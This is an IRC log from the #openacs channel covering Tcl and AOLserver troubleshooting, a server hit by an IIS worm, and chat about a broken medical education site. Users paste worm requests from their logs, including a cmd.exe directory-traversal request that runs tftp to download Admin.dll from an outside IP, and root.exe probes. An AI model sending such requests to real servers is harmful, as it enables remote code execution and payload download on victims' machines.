cause your tcl interp can't find it.

07:20:17 [jerryasher]

is it at the top level of a tcl lib file?

07:20:24 [jon_h]

in a tcl file in the /tcl dir

07:20:27 [jerryasher]

that doesn't make too much sense.

07:20:57 [jerryasher]

what is the full pathname of the file containing: "append page_content "<br><div ..."

07:21:33 [jon_h]

/home/aol130/servers/openacs-3.2.5/www/pvt/home.tcl

07:21:48 [jerryasher]

Right, so THAT file is a "page" in your webroot.

07:22:01 [jon_h]

yes

07:22:09 [jerryasher]

Now earlier you told me the proc name was idw_menu, not idw_side_menu.

07:22:20 [rbm]

Is the .tcl file where your proc is defined loaded at startup? It should show in the logs

07:22:25 [jon_h]

that was an eg.

07:22:33 [jon_h]

the names are corrtect

07:22:34 [jerryasher]

What is the full pathname of the file containing idw_side_menu?

07:22:50 [jon_h]

/home/aol130/servers/openacs-3.2.5/tcl

07:23:52 [jon_h]

i had 3 proc's in that file all similar (different name) the 1st one onlt loaded

07:23:58 [rbm]

Is that a file name?

07:24:05 [jerryasher]

that's a dir name, not a file name.

07:24:32 [jon_h]

no file name idw-cust.tcl

07:24:43 [jerryasher]

as rbm asked earlier, in your logs, does it show idw-cust.tcl being loaded at startup?

07:25:09 [jon_h]

it did before let me kcheckagin

07:25:29 [rbm]

* rbm hugs Debian

07:25:51 [jerryasher]

You're apt to get a disease if you do that too much.

07:26:03 [rbm]

why?

07:26:13 [jerryasher]

I dunno, just trying to be punny

07:26:16 [rbm]

heh

07:26:46 [jon_h]

thats it

07:26:48 [jon_h]

no value given for parameter "body" to "proc_doc"

07:26:49 [jon_h]

while executing

07:26:49 [jon_h]

"proc_doc idw_side_menu {} {

07:26:49 [jon_h]

return "<table width=\"144\" class=\"basestyle\"><tr><td height=\"25\" class=\"menutitle\"><div \"center\">Menu</div></td..."

07:26:49 [jon_h]

(file "/home/aol130/servers/openacs-3.2.5/tcl/idw-cust2.tcl" line 1)

07:27:05 [jerryasher]

oh. well you should fix that then.

07:27:20 [jon_h]

cheers

07:27:45 [jerryasher]

Yes indeed. Cheers, then Quantum Leap. g'night.

07:28:03 [jon_h]

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07:29:55 [wtem]

any freebsd nerds in the house?

07:30:48 [rbm]

not me

07:34:35 [wtem]

alright... i'll see if there is a #freebsd channel...

07:34:39 [wtem]

goodnight

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12:29:41 [davb]

AHA!

12:30:00 [davb]

Code red? GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.24.25.187%20GET%20Admin.dll%20e:\Admin.dll

12:30:41 [davb]

* davb goes to find that code red go away stuff...

12:33:17 [davb]

or nimba?

12:42:49 [shagster]

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13:07:05 [Psychephylax]

:/

13:07:19 [davb]

Hey!

13:07:30 [Psychephylax]

¿yeH

13:07:32 [davb]

I am getting slammed with a worm on my webserver :<

13:07:37 [Psychephylax]

we all are

13:07:51 [Psychephylax]

node10.net6.fundy.net - - [30/Oct/2001:02:24:39 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280 "-" "-"

13:07:51 [Psychephylax]

node10.net6.fundy.net - - [30/Oct/2001:02:24:39 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278 "-" "-"

13:07:51 [Psychephylax]

node10.net6.fundy.net - - [30/Oct/2001:02:24:39 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 "-" "-"

13:07:54 [Psychephylax]

node10.net6.fundy.net - - [30/Oct/2001:02:24:39 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 "-" "-"

13:07:57 [Psychephylax]

....

13:08:04 [davb]

yeah

13:08:10 [Psychephylax]

Ignore it :)

13:08:11 [davb]

Oh.

13:08:13 [Psychephylax]

unless you run IS

13:08:18 [Psychephylax]

s/IS/ISS

13:08:21 [davb]

Yeah except it's killing my machine.

13:08:22 [Psychephylax]

AAAAA!!!!

13:08:27 [davb]

IIS?

13:08:30 [davb]

:)

13:08:35 [Psychephylax]

yeah that's it

13:08:44 [Psychephylax]

How is it killing your machine

13:08:53 [Psychephylax]

My p200 doesn't seem to mind :/

13:09:15 [davb]

Really? I am running AOLserver/ACS and its getting hammered. It hits the database every time.

13:09:28 [Psychephylax]

hah

13:09:47 [Psychephylax]

Your front page has db access doesn't it

13:09:52 [davb]

a million 404s wouldn't do that.

13:10:00 [davb]

without the database.

13:12:47 [Psychephylax]

Psychephylax has quit

13:13:03 [Psychephylax]

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13:13:48 [Psychephylax]

Bah

13:14:15 [davb]

hmmm. still sucking.

13:14:27 [Psychephylax]

did you get my messages before i got booted?

13:14:56 [davb]

Your front page has db access doesn't it was the last one

13:15:06 [Psychephylax]

Well, you just ran into a site design bug :)

13:15:11 [Psychephylax]

You could either add an intro page that has no db access

13:15:16 [Psychephylax]

or you could probably see if you can add a redirect into the RP so it serves up a 404 before it does db access if people request that specific URL

13:15:45 [davb]

I added something in, but its not working...

13:16:10 [Psychephylax]

what did you add?

13:16:40 [davb]

a filter that runs before everything else to stall the threads...

13:16:50 [Psychephylax]

why don't you try this

13:17:26 [Psychephylax]

* Psychephylax calls upon his Tcl gods at 8:15 in the morning to muster up a RE to search for /scripts/ in the request path

13:17:39 [Psychephylax]

You don't have anything on your site that starts with /scripts/ do you

13:17:44 [davb]

no.

13:17:47 [Psychephylax]

ok

13:17:49 [Psychephylax]

then do this

13:17:51 [davb]

No i have that. i just do /scripts/*

13:18:01 [Psychephylax]

and you do what?

13:18:30 [davb]

not sure... I copied it from someone else :)

13:18:36 [Psychephylax]

heh

13:18:54 [Psychephylax]

Are you doing this in the AOLServer config or in your front page?

13:19:12 [davb]

AOLserver.

13:19:25 [Psychephylax]

in the *.tcl startup script?

13:19:50 [davb]

Yeah. Its in init.tcl which runs during the server startup before the ACS stuff loads.

13:19:59 [Psychephylax]

hmmm

13:20:12 [Psychephylax]

that should work

13:20:18 [Psychephylax]

but try doing this too:

13:20:24 [Psychephylax]

in your index.adp

13:20:48 [davb]

ack. the permissions are hosed... hang on.

13:21:43 [Psychephylax]

first spot you can try adding is a regular expression to match the URL (I've seen REs to parse URLs) and grab scripts out of it

13:22:35 [Psychephylax]

then, the next line just do an if $in_url == 'scripts' ns_returnredirect /worm.adp (with no db access)

13:22:42 [Psychephylax]

that should work

13:23:19 [davb]

Don't even need that.

13:23:28 [Psychephylax]

?

13:23:32 [davb]

It has to be a filter before any other runs.

13:23:43 [davb]

Otherwise the RP gets it and hits the database.

13:23:59 [Psychephylax]

hmmm

13:24:00 [davb]

Well its not relly a RP in OpenACS 3, but it hits the db anyway.

13:25:03 [Psychephylax]

how come init.tcl isn't working?

13:25:06 [davb]

argh!

13:25:28 [davb]

i don't know. whenever I start up the server, I can't get in because its overloaded so I can't read the log :)

13:25:37 [Psychephylax]

rofl

13:25:54 [Psychephylax]

are you on the lan with the computer?

13:25:59 [Psychephylax]

firewall off port 80

13:26:03 [davb]

I am glad I didn't figure this out last night, I would have been up all night

13:26:07 [davb]

Oh heh...

13:26:10 [davb]

right.

13:26:23 [Psychephylax]

:-/

13:26:31 [davb]

No I am 7 miles away, but I can adjust the firewall running on that machine.

13:26:39 [Psychephylax]

ok

13:26:41 [davb]

if I ever ssh back in...

13:26:46 [Psychephylax]

lol

13:27:21 [davb]

The best way is to go to the machine and unplug the network connection first...

13:27:23 [Psychephylax]

how are you getting hammered I got like 5 requests

13:27:29 [Psychephylax]

yeah I was just thinking that :)

13:27:35 [davb]

My log is full.

13:27:52 [davb]

Or something else is screwed and its just a coincidence...

13:28:00 [Psychephylax]

i have 5 entries in my log for today

13:28:16 [davb]

If I ever get back in, I'll check my log :(

13:29:57 [davb]

My p200 with 32mb ram running a couple of little sites on Apache with DNS and Mail is going fine.

13:30:08 [Psychephylax]

heh

13:30:09 [Psychephylax]

mine too

13:30:53 [chump]

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13:31:01 [davb]

Yeah. wb chump

13:31:09 [davb]

BTW, chump is on that machine.

13:31:30 [davb]

Psychephylax: the chumplog is searchable here: http://dave.deepskydesign.com/search

13:31:35 [Psychephylax]

ah...that explains why he goes back and forth

13:32:01 [Psychephylax]

yeah if your server is alive =)

13:32:20 [shagster]

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13:32:22 [davb]

No thats on my machine here. Its on cable and so far is safe.

13:32:35 [markd2]

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13:32:44 [davb]

Hi markd2

13:33:02 [Psychephylax]

* Psychephylax jabs a Spork into Mark....

13:33:07 [markd2]

markd2 has changed the topic to: Welcome to #openacs - the OpenACS lounge. http://openacs.org

13:34:12 [davb]

for markd2: http://dave.deepskydesign.com/search/search?q=markd2&t=Search

13:36:01 [markd2]

help! help! I've been sporked!

13:36:15 [Psychephylax]

rofl

13:36:26 [Psychephylax]

Dave has a problem with his site

13:36:36 [Psychephylax]

it's being eaten by the evil Nimbda worms

13:36:42 [markd2]

davb: sweet

13:36:47 [davb]

thanks

13:36:54 [markd2]

irc's the only place I go by markd2

13:37:11 [Psychephylax]

I on the other hand go everywhere by the name of Psychephylax ;)

13:37:17 [davb]

Not anymore, at least I can't tell, I think i screwed it up myself now :)

13:38:20 [Psychephylax]

heh

13:38:34 [davb]

well at least the init.tcl is not loading.

13:38:35 [Psychephylax]

I keep making myself mixed music cds but I always lose them so I make more

13:39:58 [chump]

chump has quit

13:41:06 [davb]

heh!

13:41:45 [markd2]

which question was it?

13:42:39 [davb]

Ok. I have no clue. Maybe my eithernet card does suck.

13:43:14 [markd2]

what's happening?

13:43:52 [davb]

Well when you try to connect to the site, it starts to load a page, then it stalls. It seems to get stuck on the requests for images and the css.

13:44:03 [davb]

Also when I try to SSH in it takes a really long time.

13:44:14 [davb]

So I killed the AOLservers.

13:44:28 [markd2]

this is thedesignexperience.com?

13:44:39 [davb]

.org, but yeah. Its down right this secpnd...

13:44:55 [markd2]

how close are you to that box?

13:44:58 [markd2]

(e.g. just friends, etc)

13:45:04 [davb]

7 miles :)

13:45:08 [davb]

no car :(

13:45:15 [markd2]

how's the traceroute?

13:45:22 [markd2]

I've seen behavior like that on Bad Net Days,

13:45:22 [davb]

* davb has no idea...

13:45:37 [markd2]

so once it's up, I can try downloading and see if I have the same experience

13:46:00 [davb]

Well now I think I am crazy too. Because I checked the access logs and saw the .exe stuff in there. Now the log rolled and I can't find those requests... :(

13:46:09 [davb]

ok. It has been doing it since yesterday.

13:46:31 [davb]

http://www.thedesignexerience.org

13:46:39 [davb]

It gets about 4k transerferred then stalls.

13:46:51 [davb]

so I hit ESC and I get all the text but nothing else.

13:47:09 [davb]

oops. all the images load too, just the CSS doesn't load. weird.

13:47:59 [Psychephylax]

heh

13:48:12 [Psychephylax]

that's probably because something off-site is slow or down

13:48:23 [Psychephylax]

I get that all the time with ICQ and it's stupid status buttons on people

13:48:26 [Psychephylax]

's pages

13:48:27 [markd2]

the traceroute from here isn't good

13:49:05 [davb]

I did it, how do I interpret it? 20 hops I guess....

13:49:13 [chump]

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13:49:48 [markd2]

the first two columns are whatever machine the packet goes through

13:49:52 [davb]

Ok.

13:50:06 [markd2]

traceroute sends out three packets for each stage, and the numbers are the round-trip times to that particular machine

13:50:17 [markd2]

stuff with stars means the packet never came back

13:50:52 [davb]

18 alb-1-h210.logical.net (204.97.132.21) 32.408 ms 68.179 ms 33.325 ms

13:50:52 [davb]

19 * * *

13:50:52 [davb]

20 ip-204-97-175-99.dsl.logical.net (204.97.175.99) 64.111 ms * 61.823 m

13:51:10 [markd2]

yeah

13:51:12 [davb]

20 is my server. 18 is the ISP... maybe 19 is the modem?

13:51:23 [markd2]

could be

13:51:31 [markd2]

maybe the modem went nutzoid and needs to rebooted

13:51:49 [markd2]

it might not return the ICMP (?) protocol packets too

13:52:07 [davb]

Maybe. Anyway I have another box right next to it that is running perfectly.

13:52:42 [vinod]

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13:52:52 [davb]

Hi vinod!

13:52:56 [vinod]

hey davb!

13:53:11 [davb]

davb has changed the topic to: Welcome to Troubleshooting davbs netork problem

13:53:37 [vinod]

uhoh - networking is a black art

13:53:40 [vinod]

where's markd2?

13:53:57 [davb]

I rebooted the box and that did not help.

13:54:18 [Psychephylax]

hey vinod

13:54:25 [vinod]

hey Psychephylax!

13:54:27 [Psychephylax]

Vinod, you see my question on the boards?

13:54:49 [vinod]

no... been working the past couple days - trying to get caught up today

13:54:52 [davb]

vinod: http://dave.deepskydesign.com/search/search?q=vinod&t=Search

13:55:32 [vinod]

davb: cool! is that openfts?

13:55:33 [Psychephylax]

i have no clue why but my ns_exec_plsql is bugging out wit ha parental key constraint violation

13:55:44 [docwolf]

Hi Everybody!

13:55:45 [markd2]

hey Vinod

13:55:53 [Psychephylax]

hey docwolf

13:56:14 [vinod]

hey docwolf, markd2!

13:56:14 [markd2]

hey Psychephylax

13:56:17 [markd2]

hey chump!

13:56:21 [markd2]

hi logg!

13:56:21 [Psychephylax]

hey chump

13:56:24 [vinod]

hey vinod!

13:56:24 [Psychephylax]

hey loggy!

13:56:24 [markd2]

er, loggy

13:56:30 [markd2]

heh

13:56:30 [Psychephylax]

* Psychephylax gives loggy a hug

13:56:33 [davb]

vinod yes.

13:56:47 [Psychephylax]

lol

13:57:09 [vinod]

davb: cool - looks like google, too - i like!

13:57:14 [docwolf]

I have a fantastic example of why java is not appropriate for web use.

13:57:24 [davb]

heh, that is the default template :)

13:57:41 [docwolf]

vinod will appreciate

13:57:42 [Spork]

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13:57:46 [Spork]

Hey guys!

13:57:50 [vinod]

davb: nice

13:58:04 [Psychephylax]

Hey Spork

13:58:09 [Spork]

hello =)

13:58:18 [vinod]

docwolf: "java is no good for web use because i don't know it yet" :-)

13:58:21 [docwolf]

http://www.wml.com -- this is an example of weblogic at its worst.

13:58:21 [chump]

A: http://www.wml.com from docwolf

13:58:36 [Psychephylax]

* Psychephylax jabs a Spork at mark

13:58:36 [Spork]

* Spork jabs a Psychephylax at mark

13:58:47 [Spork]

hehehehe

13:59:12 [markd2]

looks like the multiple personality disorder is spreading

13:59:12 [Psychephylax]

i should probably go take a shower before i head to school

13:59:23 [Spork]

you definetly should you dirty pig

13:59:32 [Psychephylax]

Whatcha talking about willis?

13:59:43 [markd2]

* markd2 visits the drug sample center

14:00:24 [Astiphylax]

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14:00:28 [vinod]

docwolf: a friend of a friend pointed me to that site and said that i should build something like that (few months ago)

14:00:31 [Astiphylax]

oh look...the party started without me

14:00:37 [vinod]

docwolf: i said, only in my nightmares

14:01:27 [Psychephylax]

you guys are boring =)

14:01:54 [Astiphylax]

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14:02:36 [davb]

* davb orders a new intel network card from newegg,com...

14:03:20 [Spork]

3Com is bettah :)

14:03:29 [davb]

heh, ask rbm :)

14:03:49 [Spork]

about?

14:03:56 [davb]

I don't really care. I just want the thing to work!

14:04:01 [Spork]

lol

14:04:07 [davb]

he likes intel, and does not prefer 3COM.

14:04:27 [davb]

I put a file init.tcl in /usr/local/aoslerver/servers/servername/tcl

14:04:39 [davb]

It does not seem to be loading...

14:04:57 [Spork]

* Spork departs

14:05:00 [davb]

Do I have to put it someplace else? I want it to run before the OpenACS stuff?

14:05:06 [Spork]

I have to go stab the shower for a while

14:06:24 [markd2]

you may need to have a library= setting in the .ini file for it to be found there

14:06:29 [markd2]

but it's been awhile...

14:06:50 [davb]

I think you are correct.

14:07:13 [vinod]

ns_section ns/server/${server}/tcl

14:07:14 [vinod]

ns_param Library /web/${server}/tcl

14:07:15 [davb]

THat is just the default location for the private tcl library.

14:08:14 [davb]

argh!

14:08:21 [davb]

I can't figure this out.

14:09:04 [chump]

chump has quit

14:09:15 [markd2]

the Library setting is a directory where the server loads all of the *.tcl files on startup

14:09:29 [markd2]

at least in 2.3.3, that logic is also in tcl files (in $NS_HOME/modules/tcl)

14:09:41 [davb]

right. mine is /web/server/tcl

14:10:07 [davb]

I am not going to worry about it, its just my crappy sites and the chump.

14:10:20 [davb]

Maybe I will take this opportunity to upgrade to OpenACS 4

14:12:48 [chump]

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14:15:48 [chump]

chump has quit

14:15:53 [davb]

ack

14:20:00 [chump]

chump has joined #openacs

14:21:20 [Spork]

Time to head to school

14:26:02 [chump]

chump has quit

14:36:36 [docwolf]

vinod: wml.com looks so _easy_

14:37:00 [docwolf]

and they have executed so badly, it's almost not to be believed.

14:37:08 [chump]

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14:37:13 [davb]

argh!

14:38:01 [davb]

Ok. I am looking at the server access log. I am gettign a hit to a page that was previously views, so it has a 304 status code, but the brwoser stalls and never finishes loading the page... it doesn't load any of the images or CSS

14:38:29 [davb]

and the request just hangs there...

14:39:17 [davb]

It won't serve another request, at least it doesn't log it...

14:39:33 [davb]

AOLserver is still stuck trying to serve the first page.

14:44:28 [davb]

accesing the IP address and port to bypass nsvhr doesn't help.

14:44:46 [chump]

chump has quit

14:48:00 [vinod]

docwolf: i actually haven't looked at it in a long while.

14:48:16 [vinod]

docwolf: oh - i see what you mean. just tried to register

14:48:43 [vinod]

rror

14:48:43 [vinod]

RegisterCommand: Transaction: '1004383096064_47' rolled back due to EJB exception: java.sql.SQLException: ORA-01401: inserted value too large for column at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:114) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208) at oracle.jdbc.ttc7.Oall7.receive(Oall7.java:542) at oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java:1311) at oracle.jdbc.ttc7.TTC7Protocol.parseExecuteFetch(TTC7Protocol.java:738

14:48:58 [vinod]

and it goes on like that for about 30 lines

14:49:02 [markd2]

heh

14:49:14 [markd2]

damn those EJB exceptions!!

14:49:32 [vinod]

markd2: don't you miss those?

14:49:57 [vinod]

and of course, now the back button doesn't work

14:50:01 [markd2]

more than life itself

14:50:04 [markd2]

* markd2 coughs

14:50:27 [vinod]

haha

14:51:31 [vinod]

oh, but there is this helpful message (light light blue on white) just before you submit your registration

14:51:37 [vinod]

If you receive an error message, please call Member Services toll free at 1-877-WML-0093 for assistance in updating your account and completing your registration.

14:51:57 [markd2]

you should call it up, and only whisper

14:53:08 [vinod]

lol

14:53:10 [chump]

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14:54:14 [vinod]

docwolf: were you actually able to register?

14:55:49 [til]

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14:56:11 [chump]

chump has quit

14:56:24 [markd2]

docwolf is all powerful

14:56:36 [markd2]

able to register on sites with EJB exceptions

14:56:43 [markd2]

able to leap venture capitalists in a single bound!

14:57:32 [vinod]

docwolf shall now be known as superdoc!

14:57:59 [vinod]

actually, i think i might be able to leap a venture capitalist in a single bound

15:00:56 [markd2]

stop that

15:01:03 [markd2]

you're the PERFORMer now, not a superdoc

15:01:13 [markd2]

and we all know your secret identity

15:01:19 [docwolf]

haha

15:01:22 [vinod]

ok, ok - i was getting a little heady there

15:01:47 [docwolf]

vinod: I actually did register

15:01:49 [docwolf]

but....

15:01:59 [docwolf]

I got the exceptions too...

15:02:39 [docwolf]

when i tried to log in again, it said that I already registered. (???) I had it email me my password -- it game me a new username _AND_ password _AND_ it screwed up where i went to school

15:03:02 [vinod]

ouch

15:03:03 [docwolf]

but they got my med id#, so obviously some human actually checked the data

15:03:38 [docwolf]

this site pisses me off to no end, 1) because i'm cheap and need CME credits and 2) because I _know_ they spent multi-millions to build it.

15:04:11 [vinod]

right

15:04:58 [docwolf]

actually, it looks like jerry della famina (the advertising magnate) founded the site (!!) I wonder if he knows how bad it is

15:26:19 [Spork]

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15:35:23 [vinod]

docwolf: where else do you go for CME credit? i do some site-maintenance stuff for theanswerpage.com (don't blame me for the site - i do what i'm told :-) )

15:43:19 [rbm]

moo

15:43:23 [rbm]

morning all

15:44:47 [vinod]

moo-rning rbm

15:46:34 [rbm]

how's it going vinod?

15:48:14 [vinod]

good. worked all night last night, so i'm about to crash for a bit

15:48:31 [rbm]

heheh.

15:48:34 [vinod]

how are things wit you?

15:48:46 [rbm]

I remember the nights I spent in the ER and hospitals in med school

15:48:56 [rbm]

I loved the ER

15:49:22 [rbm]

vinod: same old. getting to ready to leave to class pretty soon

15:49:26 [vinod]

yeah, er was fun, but too stressful for me. i do urgent care now, which is a step down

15:50:10 [rbm]

yeah. very stressful

15:57:22 [rbm]

* rbm leaves to class

16:02:54 [docwolf]

vinod: i'm back.

16:03:16 [docwolf]

vinod: looks like you are unconscious :-)

16:04:17 [vinod]

docwolf: almost, not quite :-)

16:05:13 [markd2]

* markd2 wonders how docwolf could tell

16:05:29 [vinod]

markd2: i was snoring pretty loudly

16:05:33 [markd2]

ah

16:05:41 [hazmat]

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16:05:58 [docwolf]

haha

16:06:08 [docwolf]

anyway, i'm scrambling to do some CME

16:06:19 [docwolf]

i want to do most of it online, but....

16:06:24 [docwolf]

the human touch is always nice.

16:06:35 [docwolf]

and besides, i deserve 3-4 days in a fancy hotel :-)

16:06:53 [vinod]

true - i've always wanted to go to a conference - any good ones coming up?

16:07:10 [docwolf]

depends on what you're into.

16:07:17 [docwolf]

i'm about to sign up for a management course

16:07:19 [docwolf]

in florida...

16:07:20 [vinod]

fancy hotel, warm climate

16:07:26 [docwolf]

ritz-carleton

16:07:30 [docwolf]

naples

16:07:33 [docwolf]

(florida)

16:07:42 [docwolf]

31 credits, 4 days.. all about business

16:07:48 [docwolf]

fills my allotment for 2 years.

16:08:13 [vinod]

hmmm... i've been told i need to get more 'biz-savvy'

16:08:20 [docwolf]

i'm on the fence about whether or not to do it. It's a bit of $$$, but the networking opportunity is great.

16:08:54 [vinod]

is it healthcare management or general management?

16:09:06 [docwolf]

it's run by the american college of physician executives

16:09:12 [docwolf]

let me find the page

16:09:33 [docwolf]

(btw, i'm a member of that org. It's a total networking/resume padding situation

16:10:06 [vinod]

executive! very impressive ;-)

16:10:32 [docwolf]

haha

16:10:33 [docwolf]

http://www.acpe.org/acb/showdetl.cfm?&DID=15&Product_ID=96&CATID=3

16:10:44 [docwolf]

it ain't cheap, but it takes care of all the requirements...

16:10:50 [docwolf]

and the people should be interesting.

16:13:07 [docwolf]

highly recommended, if you're looking to do something unusual.

16:13:36 [vinod]

so if i go in with 'zero' business knowledge, will i be overwhelmed?

16:13:52 [docwolf]

no -- this is the "ground level" seminar

16:14:18 [docwolf]

actually i think that this seminar

16:14:27 [docwolf]

is actually good towards credit for a bogus degree

16:14:33 [docwolf]

"masters of medical management"

16:14:58 [vinod]

haha - that's almost like the Masters of the Universe designation markd2 was gonna give me

16:15:25 [docwolf]

haha

16:15:43 [markd2]

BY THE POWER OF NUMBSKULL!!!!

16:15:46 [docwolf]

anyway, it looks pretty cool. Certainly better than some bizzaro, esoteric course

16:15:54 [vinod]

i'm actually free that week, but the price tag might be too steep. i'll need to think about it

16:16:17 [docwolf]

cool

16:16:18 [docwolf]

might be fun

16:16:23 [docwolf]

(the hotel rocks ;-) )

16:16:42 [vinod]

does the fee include accomodations?

16:16:48 [docwolf]

tragically, no.

16:16:54 [docwolf]

i think the ritz is like $140/night

16:16:59 [docwolf]

but i think they feed you

16:17:00 [docwolf]

fwiw

16:17:05 [vinod]

ahh - not bad.

16:17:17 [vinod]

140 bucks might get you a closet here in bahstan

16:17:26 [docwolf]

haha.. even now?

16:17:34 [docwolf]

hotels everywhere are falling apart.

16:17:59 [vinod]

haven't checked around recently... i've noticed that apt rents are starting to come down, slowly

16:18:17 [til_]

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16:18:17 [til]

til has quit

16:18:29 [til_]

til_ has quit

16:18:47 [docwolf]

yeah.. even here in Boca it's the same way

16:18:57 [docwolf]

and we're usually pretty recession-proof, being a resort town and all.

16:19:07 [til_]

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16:21:02 [markd2]

In august, hotel rates were still pretty steep

16:22:42 [docwolf]

mama mia

16:22:43 [docwolf]

http://www.ritzcarlton.com/html_prop/resort.asp?Property_ID=12&PageNo=9

16:22:59 [docwolf]

how are we supposed to _learn_ anything in that kind of an environment?

16:24:32 [markd2]

if you'd rather, you're welcome to come out to the farm here in western PA and help Backhoe Bill with his cows

16:24:44 [docwolf]

haha

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16:25:05 [vinod]

docwolf is evil, tempting me like this

16:25:21 [docwolf]

:-)

16:25:41 [docwolf]

if you come, i'll fill you in on my latest scheme for world domination

16:25:42 [markd2]

that's only $140/night? wow!

16:25:56 [docwolf]

markd: you have to attend a dorky conference to get that rate

16:26:08 [markd2]

bummer

16:26:10 [vinod]

markd2 is pretty dorky - he could come too

16:26:40 [docwolf]

o u c h

16:27:13 [docwolf]

vinod: where else do you do CME? cheaply, i mean?

16:27:44 [docwolf]

most web CME really, really sucks.

16:28:04 [markd2]

maybe I can declare myself to be a dorky conference

16:28:08 [markd2]

and get good rates everywhere

16:28:13 [vinod]

i've done a few on medscape, but they don't offer too much. i signed up for the nejm CME test which is 50 credits for $109, but it's not til march 2002

16:28:24 [vinod]

lol

16:29:09 [docwolf]

ugh. i need credits before january. medscape isn't too hot.

16:29:34 [docwolf]

this wml.com looked good (in theory...) they had some heavy-hitters giving lectures

16:29:41 [docwolf]

but, since i can't register...

16:31:09 [vinod]

it's ridiculous. we should just send that ad-magnate guy a proposal to do his site on openacs for like $100,000.

16:31:30 [docwolf]

i seriously thought about it.

16:31:54 [vinod]

it could be done by friday ;-)

16:31:59 [docwolf]

honestly, these dudes have the nerve to take out full-pages in JAMA, and they come up with _that_?

16:32:33 [docwolf]

what is that site really? user registration + streaming real video.

16:32:57 [docwolf]

not exactly mind-blowing.

16:33:41 [docwolf]

i'm ashamed to admit i left a pretty nasty letter to their support staff.

16:33:42 [vinod]

right. and you wonder how many people have tried to register and failed (2 for 2 in this room)

16:34:07 [docwolf]

(i left the typical cranky doctor F-U "don't waste my time" letter .. haha)

16:34:29 [markd2]

send them a bill for your time

16:34:49 [docwolf]

markd: i'll send them a bill for the dorky conference that i'll have to attend b/c of their poor programming)

16:34:57 [vinod]

lol

16:35:02 [Psychephylax]

:-/

16:35:20 [Psychephylax]

nobody wants to answer my questions

16:35:24 [Psychephylax]

question rather

16:40:44 [vinod]

Psychephylax: what does "select * from acs_object_types where upper(object_type)='SNMP_INCIDENT';" return?

16:40:59 [Psychephylax]

let me find out even though I am not working today

16:41:07 [vinod]

neither am i

16:42:41 [markd2]

* markd2 is working, but just barely

16:43:41 [Psychephylax]

heh

16:43:50 [Psychephylax]

ok, here's the output formatted to my best Oracle abilities

16:43:54 [Psychephylax]

OBJECT_TYPE SUPERTYPE A PRETTY_NAME

16:43:54 [Psychephylax]

-------------------- -------------------- - --------------------

16:43:54 [Psychephylax]

PRETTY_PLURAL TABLE_NAME

16:43:54 [Psychephylax]

-------------------- ------------------------------

16:43:54 [Psychephylax]

ID_COLUMN PACKAGE_NAME

16:43:55 [Psychephylax]

------------------------------ ------------------------------

16:43:57 [Psychephylax]

NAME_METHOD TYPE_EXTENSION_TABLE D

16:43:59 [Psychephylax]

-------------------- ------------------------------ -

16:44:01 [Psychephylax]

snmp_incident acs_object f SNMP Incident

16:44:03 [Psychephylax]

SNMP Incidents snmp_incidents

16:44:05 [Psychephylax]

incident_id snmp_incident

16:44:07 [Psychephylax]

f

16:44:33 [Psychephylax]

vinod I borrowed your reserve code as an example...so I think you might be the best person to help me =)

16:48:02 [k2pts]

k2pts has left #openacs

16:50:47 [vinod]

try:

16:50:52 [vinod]

declare v_id integer; begin v_id := acs_object.new(object_type => 'adsa'); end;

16:51:03 [vinod]

sorry

16:51:04 [Psychephylax]

is this going to break stuff? :)

16:51:15 [vinod]

replace 'adsa' with 'snmp_incident'

16:51:38 [vinod]

nope, you're gonna type rollback afterwards. :-)

16:52:27 [Psychephylax]

alright

19:39:17 [loggy]

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19:39:17 [sagan.openprojects.net]

topic is: Welcome to Troubleshooting davbs netork problem

19:39:17 [sagan.openprojects.net]

Users on #openacs: loggy john k2pts talli abbaJ til_ hazmat shagster Psychephylax davb rbm blueseed AaronSw

19:39:17 [ChanServ]

This channel is logged: http://www.blogspace.com/openacs/chatlogs/ and blogged: http://www.thedesignexperience.org/openacs/ircblog

19:39:20 [davb]

right/

19:40:35 [davb]

wb loggy!

19:40:47 [AaronSw]

:-)

19:43:25 [hazmat]

.google

19:48:41 [davb]

Looks like intel network card support is already compiled into my kernel :)

20:15:33 [docwolf]

docwolf has joined #openacs

20:19:37 [shagster]

shagster has quit

20:25:50 [k2pts]

john, hazmat: how's the testing of the workflow package going?

20:26:30 [hazmat]

umm... its not at the moment.

20:36:57 [donb]

donb has joined #openacs

20:37:28 [donb]

Oh-oh, there's a venture vulture in the house! What's up, Adam?

20:37:50 [talli]

donb: don't you take pictures of those?

20:38:13 [k2pts]

hi Don

20:39:22 [hazmat]

hi don

20:39:35 [davb]

Hello don.

20:40:04 [hazmat]

echo... echo...

20:42:08 [ola]

ola has joined #openacs

20:42:17 [k2pts]

hi ola

20:42:19 [donb]

I was just off answering e-mail from Ben, they're starting their UI improvements to file-storage ...

20:42:37 [ola]

hey everybody!

20:43:30 [donb]

Talli - have you heard about the Wasatch Brewing Company's latest beer (they're a brewer in Utah): Polygamy Porter, a swipe at one of the more contentious issues in the state ...

20:43:44 [talli]

whoa...

20:43:47 [davb]

ola: did i show you: http://dave.deepskydesign.com/search/search?q=ola&t=Search

20:43:49 [talli]

my kind of booze.

20:44:15 [talli]

a porter *and* a patriarchical institution? all in a bottle?

20:44:18 [talli]

i'm in love

20:44:22 [donb]

They have billboards: "Why have only one?" and "bring a six-pack home for your wives!"

20:44:43 [donb]

The elders of the church are not amused ...

20:45:52 [ola]

hey Dave, that's awesome!

20:46:08 [talli]

that's ok - i'm amused :)

20:46:25 [donb]

Dave - that's from static pages ???

20:46:45 [ola]

davb: I just tried to install static-pages but got an error.

20:47:25 [davb]

donb: yes, I indexed all the chumpbots output.

20:47:39 [davb]

ola: what was the error? I will fix it!

20:47:49 [donb]

Way cool! Search is cool ...

20:47:51 [davb]

I haven;t reinstalled from CVS since I made the changes.

20:47:59 [ola]

here it is:

20:48:03 [ola]

couldn't open "/web/infogettable/packages/static-pages/tcl/static-pages-sc-procs-postgresql.xql": no such file or directory

20:48:14 [davb]

hmmm. duh.

20:48:17 [donb]

Someone forgot a cvs add ... :)

20:48:19 [davb]

I never cvs added the files :)

